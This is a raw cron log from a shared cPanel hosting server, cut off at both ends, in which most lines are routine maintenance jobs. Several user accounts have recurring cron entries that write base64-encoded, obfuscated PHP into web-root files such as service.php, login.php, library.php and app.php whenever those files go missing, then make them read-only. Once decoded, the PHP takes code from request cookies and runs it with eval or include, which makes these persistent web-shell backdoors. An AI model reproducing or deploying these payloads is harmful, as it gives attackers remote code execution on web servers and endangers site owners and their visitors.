VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:33:02 medusa CROND[12194]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:33:02 medusa CROND[12197]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:33:02 medusa CROND[12198]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:33:02 medusa CROND[12201]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:33:02 medusa CROND[12203]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:33:02 medusa CROND[12202]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:33:02 medusa CROND[12208]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:33:02 medusa CROND[12210]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:34:01 medusa CROND[29820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:34:01 medusa CROND[30020]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:34:01 medusa CROND[30148]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:34:01 medusa CROND[30149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:34:01 medusa CROND[30150]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:34:01 medusa CROND[30157]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:34:01 medusa CROND[30156]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:34:01 medusa CROND[30158]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:34:01 medusa CROND[30160]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:34:01 medusa CROND[30161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:34:01 medusa CROND[30162]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:34:01 medusa CROND[30166]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:34:01 medusa CROND[30155]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:35:01 medusa CROND[19069]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:35:01 medusa CROND[19214]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:35:01 medusa CROND[19388]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:35:01 medusa CROND[19389]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:35:01 medusa CROND[19390]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 15:35:01 medusa CROND[19391]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:35:01 medusa CROND[19392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:35:01 medusa CROND[19394]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:35:01 medusa CROND[19395]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 15:35:01 medusa CROND[19397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:35:01 medusa CROND[19398]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:35:01 medusa CROND[19402]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:35:01 medusa CROND[19421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:35:01 medusa CROND[19422]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiA